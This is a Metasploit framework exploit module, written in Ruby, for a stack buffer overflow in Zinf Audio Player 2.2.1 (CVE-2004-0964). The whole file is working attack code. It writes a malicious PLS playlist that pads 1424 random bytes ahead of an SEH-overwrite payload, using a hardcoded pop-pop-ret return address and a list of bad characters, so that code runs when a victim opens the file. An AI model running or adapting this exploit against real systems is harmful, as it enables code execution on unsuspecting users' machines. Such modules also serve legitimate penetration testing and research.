Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in the Zinf Audio Player 2.2.1.
        An attacker must send the file to victim and the victim must open the file.
        Alternatively it may be possible to execute code remotely via an embedded
        PLS file within a browser, when the PLS extension is registered to Zinf.
        This functionality has not been tested in this module.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Trancek <trancek[at]yashira.org>', 'aushack' ],
      'References'     =>
        [
          [ 'CVE', '2004-0964' ],
          [ 'OSVDB', '10416' ],
          [ 'EDB', '7888' ],
          [ 'BID', '11248' ],
        ],
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
          'StackAdjustment' => -3500,
        },
      'DefaultOptions' =>
        {
          'AllowWin32SEH' => true
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          # Tested by patrick - 20090429 xpsp3
          [ 'Zinf Universal 2.2.1', { 'Ret' => 0x1204f514 } ], #pop esi; pop ebx; ret - ./Plugins/zinf.ui
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2004-09-24',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'exploit_zinf.pls']),
      ])

  end

  def exploit
    seh = generate_seh_payload(target.ret)
    filepls = rand_text_alpha_upper(1424) + seh

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(filepls)

  end
end